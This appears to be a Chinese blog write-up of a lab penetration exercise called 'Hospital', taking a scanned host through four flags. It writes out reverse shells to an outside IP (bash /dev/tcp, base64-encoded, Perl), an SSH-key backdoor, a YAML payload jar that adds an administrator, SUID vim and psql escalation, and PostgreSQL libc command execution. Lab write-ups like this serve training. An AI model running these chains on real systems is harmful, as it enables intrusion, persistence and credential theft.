https://fushuling.com/index.php/2024/01/06/%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83-hospital/
Hospital
flag01
39.98.114.244
┌──(kali㉿kali)-[~/桌面/tools/tools/fscan_all_version]
└─$ ./fscan -h 39.98.114.244
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
39.98.114.244:8080 open
Open result.txt error, open result.txt: permission denied
39.98.114.244:22 open
Open result.txt error, open result.txt: permission denied
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.98.114.244:8080 code:302 len:0 title:None 跳转url: http://39.98.114.244:8080/login;jsessionid=77500958942AB18B45275A668911F721
Open result.txt error, open result.txt: permission denied
[*] WebTitle http://39.98.114.244:8080/login;jsessionid=77500958942AB18B45275A668911F721 code:200 len:2005 title:医疗管理后台
Open result.txt error, open result.txt: permission denied
[+] PocScan http://39.98.114.244:8080 poc-yaml-spring-actuator-heapdump-file
(Spring Actuator 信息泄露漏洞(/heapdump 端点可下载 JVM 堆内存文件,可能包含敏感信息如账号密码、Session 等)。)
Open result.txt error, open result.txt: permission denied
已完成 1/2 [-] ssh 39.98.114.244:22 root root@123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 1/2 [-] ssh 39.98.114.244:22 root a123456. ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 1/2 [-] ssh 39.98.114.244:22 root a123123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 1/2 [-] ssh 39.98.114.244:22 admin root ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 1/2 [-] ssh 39.98.114.244:22 admin admin#123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 1/2 [-] ssh 39.98.114.244:22 admin 123456~a ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/2
[*] 扫描结束,耗时: 7m4.627200175s
访问http://39.98.114.244:8080/actuator/heapdump,下载heapdump
弱密码admin/admin123(但没有用)
whwlsfb/JDumpSpider: HeapDump敏感信息提取工具
java -jar .\JDumpSpider-1.1-SNAPSHOT-full.jar .\heapdump
拿到keyGAYysgMQhG7/CzIJlVpR2g==
(或者想翻shiro key,直接搜g==结尾的字符串)
java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar
http://39.98.114.244:8080
bash -i >& /dev/tcp/139.129.35.68/7777 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTI5LjM1LjY4Lzc3NzcgMD4mMQ==
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTI5LjM1LjY4Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}'
python3 -m http.server 80
wget http://139.129.35.68/linux_x64_agent
./linux_x64_admin -c 39.98.114.244:7879 -s 123
./linux_x64_agent -l 7879 -s 123
vim.basic /root/flag/flag01.txt
(通过 vim 的基础版本打开 /root/flag/flag01.txt 文件)
/usr/bin/vim.basic -c ':python3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec bash -p")'
-c ':python3 ...'
:-c
表示让 Vim 启动后直接执行后面的命令;python3
是 Vim 中调用 Python3 解释器的命令。import os; os.execl(...)
:通过 Python 的os.execl
函数替换当前进程(Vim 进程)为/bin/sh
,相当于直接启动一个 shell。"sh"
:为新进程指定名称(通常与程序名一致)。-p
:sh
的参数,表示 “特权模式”(preserve privileges),避免权限降级。-c
:sh
的参数,用于执行后续字符串中的命令(即"reset; exec bash -p"
)。"reset; exec bash -p"
:reset
清理终端显示;exec bash -p
替换当前 shell 为 bash,-p
确保保留特权模式(因 Vim 有 SUID 权限,此时 bash 会继承 root 权限)。
写公钥留后门了
#自己的机器上
ssh-keygen -t rsa -b 4096
cat ~/.ssh/id_rsa.pub
#弹的shell
echo "~/.ssh/id_rsa.pub的内容" > /root/.ssh/authorized_keyschmod 600 /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
#本地通过私钥登录目标主机
ssh -i ~/.ssh/id_rsa root@39.99.140.174
- 目标主机的
/root/.ssh
目录必须是700
权限(仅所有者可读写执行)authorized_keys
必须是600
权限(仅所有者可读写)
flag02
upload /home/kali/桌面/tools/tools/fscan_all_version/fscan /tmp/1/fscan
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.30.12.5 netmask 255.255.0.0 broadcast 172.30.255.255
./fscan -h 172.30.12.0/24
download /tmp/1/result.txt /home/kali/result.txt
┌──(kali㉿kali)-[~]
└─$ cat result.txt
172.30.12.6:8848 open
172.30.12.6:445 open
172.30.12.6:139 open
172.30.12.236:8080 open
172.30.12.6:135 open
172.30.12.5:8080 open
172.30.12.236:22 open
172.30.12.5:22 open
172.30.12.236:8009 open
[*] NetBios 172.30.12.6 WORKGROUP\SERVER02
[*] NetInfo
[*]172.30.12.6
[->]Server02
[->]172.30.12.6
[*] WebTitle http://172.30.12.5:8080 code:302 len:0 title:None 跳转url: http://172.30.12.5:8080/login;jsessionid=D6B3A2787153F87C17FA0FD90F59375B
[*] WebTitle http://172.30.12.236:8080 code:200 len:3964 title:医院后台管理平台
[*] WebTitle http://172.30.12.5:8080/login;jsessionid=D6B3A2787153F87C17FA0FD90F59375B code:200 len:2005 title:医疗管理后台
[*] WebTitle http://172.30.12.6:8848 code:404 len:431 title:HTTP Status 404 – Not Found
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass
[+] PocScan http://172.30.12.5:8080 poc-yaml-spring-actuator-heapdump-file
目标 IP | 开放端口 | 服务 / 应用信息 | 漏洞提示 |
---|---|---|---|
172.30.12.6 | 8848 | HTTP 服务(404 Not Found) | 存在 Alibaba Nacos 相关漏洞(未授权访问等) poc-yaml-alibaba-nacos poc-yaml-alibaba-nacos-v1-auth-bypass |
445、139 | NetBIOS 服务 | 主机名:SERVER02 工作组:WORKGROUP | |
135 | 开放端口(可能为 RPC 服务) | - | |
172.30.12.236 | 8080 | 医院后台管理平台(HTTP 200) | - |
22 | SSH 服务 | - | |
8009 | 开放端口(可能为 AJP 协议,常用于 Tomcat) | - | |
172.30.12.5 | 8080 | 医疗管理后台(HTTP 302 跳转至登录页) | 存在 Spring Actuator 堆内存泄露漏洞 poc-yaml-spring-actuator-heapdump-file |
22 | SSH 服务 | - |
Alibaba Nacos权限认证绕过漏洞复现_nacos未授权访问漏洞修复-CSDN博客
./windows_x64_admin.exe -c 39.98.114.244:7876 -s 123
./linux_x64_agent -l 7876 -s 123
172.30.12.6:8848/nacos
弱口令进入后台 nacos:nacos
,获取到的配置文件内容如下:
server:
port: 8080
servlet:
context-path: /hello
spring:
application:
name: db-config
cloud:
nacos:
discovery:
server-addr: 127.0.0.1:8848
config:
server-addr: 127.0.0.1:8848
file-extension: yaml
namespace: dev
group: DEFAULT_GROUP
data-id: db-config.yaml
datasource:
mysql:
url: jdbc:mysql://localhost:3306/test?useSSL=false&serverTimezone=UTC&allowPublicKeyRetrieval=true
username: root
password: P@ssWord!!!
redis:
host: localhost
port: 6379
management:
endpoints:
web:
exposure:
include: '*'
Release NacosExploitGUI_v4.0 · charonlight/NacosExploitGUI
java -jar NacosExploitGUI_v4.0.jar
http://172.30.12.6:8848/nacos
原来的是弹计算器的
Runtime.getRuntime().exec("net user qaq qaq1234! /add");
Runtime.getRuntime().exec("net localgroup administrators qaq /add");
然后改完后再保存再打为jar包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
upload /home/kali/桌面/tools/ma/yaml-payload.jar /tmp/1/yaml-payload.jar
http://172.30.12.6:8848/nacos
http://172.30.12.5:54321/yaml-payload.jar
db-config
进入交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c
:通过 Python3 执行后续字符串中的代码(-c
表示执行命令行字符串)import pty
:导入 Python 的pty
模块(伪终端处理模块,用于创建模拟终端环境)pty.spawn("/bin/bash")
:调用pty
模块的spawn
函数,启动一个/bin/bash
进程,并将其与伪终端关联
再python3 -m http.server 54320
proxychains rdesktop 172.30.12.6 -u qaqwww -p 'qaq@1234'
proxychains4 xfreerdp /u:qaqwww /p:'qaq@1234' /v:172.30.12.6(我试试不行,让学长给我创了个号)
proxychains4 crackmapexec smb 172.30.12.6 -u 'qaqwww' -p 'qaq@1234'
qaqwww/qaq@1234
这里注意密码要符合标准,不然可能会出现些情况。
flag03
发现web2只有一个网口
用burp内置浏览器打开172.30.12.236:8080
amaz1ngday/fastjson-exp: fastjson利用,支持tomcat、spring回显,哥斯拉内存马;回显利用链为dhcp、ibatis、c3p0。
目标应用开启了 session 持久化(可能是把 session 存数据库或者文件里),这样 session 会跨请求保持状态。
你在 session 里存入的数据,因为不能被反序列化,所以后续请求时就读取不到原来的对象,导致 session 损坏或者无法使用。
换句话说,你的 shell 尝试依赖 session 来存储信息,但是 session 已经坏掉了,所以后续的 shell 操作无法进行。
这就是上一条的结果:shell 初始化失败,无法继续操作。
意思是,不要把数据存在 session 中,而是直接存到 application 级别(全局对象),这样就不会被序列化和反序列化影响了。
尝试写入公钥,首先本地用ssh-keygen
生成公钥和私钥,将公钥后的用户名@主机名
部分删掉,接着尝试在哥斯拉使用echo直接将公钥写到authorized_keys,但是应该是由于长度过长导致命令执行失败,所以最后还是通过在web1上传公钥并开启http服务,在哥斯拉(fastjson命令执行getshell,这次使用插件的inject直接注入哥斯拉内存马)通过wget下载,之后写入到authorized_keys
我是被人捞的
二级代理是得主动连。在stowawy上
listen
use 0
listen
1
44446
在目标机上./linux_x64_agent -c 172.30.12.5:44446 -s 123 --reconnect 8
即可
然后
back
use 1
就能到web3了
flag04
发现是双网卡
upload /home/kali/桌面/tools/tools/fscan_all_version/fscan /1/fscan
inet 172.30.54.179 netmask 255.255.255.0 broadcast 172.30.54.255
./fscan -h 172.30.54.1/24
download /1/result.txt /home/kali/result.txt
发现172.30.54.12,上面有grafana服务
cat result.txt
172.30.54.12:3000 open
172.30.54.12:22 open
172.30.54.179:22 open
172.30.54.179:8009 open
172.30.54.179:8080 open
172.30.54.12:5432 open
[*] WebTitle http://172.30.54.12:3000 code:302 len:29 title:None 跳转url: http://172.30.54.12:3000/login
[*] WebTitle http://172.30.54.12:3000/login code:200 len:27909 title:Grafana
[*] WebTitle http://172.30.54.179:8080 code:200 len:3964 title:医院后台管理平台
Release v1.5 · A-D-Team/grafanaExp
./linux_amd64_grafanaExp exp -u http://172.30.54.12:3000
但需要v1.1的版本才能扫到postgres数据库账密,github上已经没有该版本了。Postgres@123(应该爆出来的密码)
./linux_x64_admin -c 39.98.114.244:7876 -s 123
./linux_x64_agent -l 7876 -s 123
建立多重代理:还是一样listen
、1
、 11121
。
upload /home/kali/桌面/tools/tools/Stotaway-bin/linux_x64_agent /1/linux_x64_agent
#把受控端传到web3上,发起对web1的连接
./linux_x64_agent -c 172.30.12.5:11121 -s 123 --reconnect 8
之后再开个socks5
把proxychains4.conf里的也换了
vim /etc/proxychains4.conf
psql
- PostgreSQL 的命令行客户端。
-h 172.30.54.12
- 指定 PostgreSQL 服务器的 IP 地址。
-U postgres
- 指定用户名,这里是
postgres
。
-W
- 强制提示输入密码。、
ALTER USER root
- 指定要修改的数据库用户是
root
。
WITH PASSWORD '123456'
- 将该用户的密码修改为
123456
。
proxychains4 -q psql -h 172.30.54.12 -U postgres -W
Postgres@123(应该爆出来的密码)
ALTER USER root WITH PASSWORD '123456';
select system('whoami');
PostgreSQL <= 8.1
可以通过调用系统的动态链接库 libc.so.6
来实现命令执行
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT
OK
CREATE OR REPLACE FUNCTION system(cstring) RETURNS integer
- 创建一个叫
system
的函数,接收一个cstring
(C 字符串)类型参数,返回一个整数。- 返回值是
system()
的返回值(通常 0 表示成功,非 0 表示错误)。
AS '/lib/x86_64-linux-gnu/libc.so.6', 'system'
- 告诉 PostgreSQL 去调用 libc 动态库里的
system
函数。- 相当于把系统调用暴露到数据库里。
LANGUAGE 'c'
- 指定这是一个 C 语言函数,而不是 SQL 或 PL/pgSQL。
STRICT
- 如果传入参数是 NULL,函数不会执行,直接返回 NULL。
创建函数成功后,执行命令时当返回值为 0
表示执行成功,其它值则是执行失败。我们使用 perl
反弹 shell,注意在 Web03
机器上监听端口
select system('perl -e \'use Socket;$i="172.30.54.179";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');
SQL 部分
SELECT system('perl -e \' ... \';');
system()
是你之前创建的 C 函数,它会调用操作系统命令。- 参数是一个复杂的 Perl 单行脚本。
Perl 脚本
use Socket; $i = "172.30.54.179"; # 攻击者 IP $p = 1234; # 攻击者监听端口 socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp")); if (connect(S, sockaddr_in($p, inet_aton($i)))) { open(STDIN, ">&S"); open(STDOUT, ">&S"); open(STDERR, ">&S"); exec("/bin/sh -i"); };
use Socket;
- 加载 Perl 套接字库。
socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
- 创建一个 TCP 套接字。
connect(S, sockaddr_in($p, inet_aton($i)))
- 尝试连接到攻击者机器的 IP:PORT。
open(STDIN, ">&S"); ...
- 把标准输入/输出/错误重定向到这个 TCP 连接上。
exec("/bin/sh -i");
- 启动交互式 shell,让攻击者能远程执行命令。
在web3上nc -lvnp 1234
执行后成功弹回shell
先获取一个交互式 shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
sudo -l
发现可以psql提权
执行
sudo /usr/local/postgresql/bin/psql(提权)
password:123456 # 前面已经修改为123456
注意利用
psql
需要为绝对路径,否则需要Linux
用户postgres
的密码,其次需要PostgreSQL
数据库中root
用户的密码,不过前面我们修改过了。root
用户的密码为123456
root=# \?
Input/Output
!/bin/bash
root@web04:/usr/local/pgsql/data# whoami
root
\?
- 这是
psql
的内置帮助命令,用来列出所有psql
的 meta 命令(\
开头的那些)。!/bin/bash
这是 psql 的 外壳逃逸功能。
在 psql 中输入 ! 后跟命令,会直接调用系统 shell。
你执行的是 !/bin/bash,所以直接进入了服务器的 bash shell。
进入后就ok了
最后cat /root/flag/flag04.txt
即可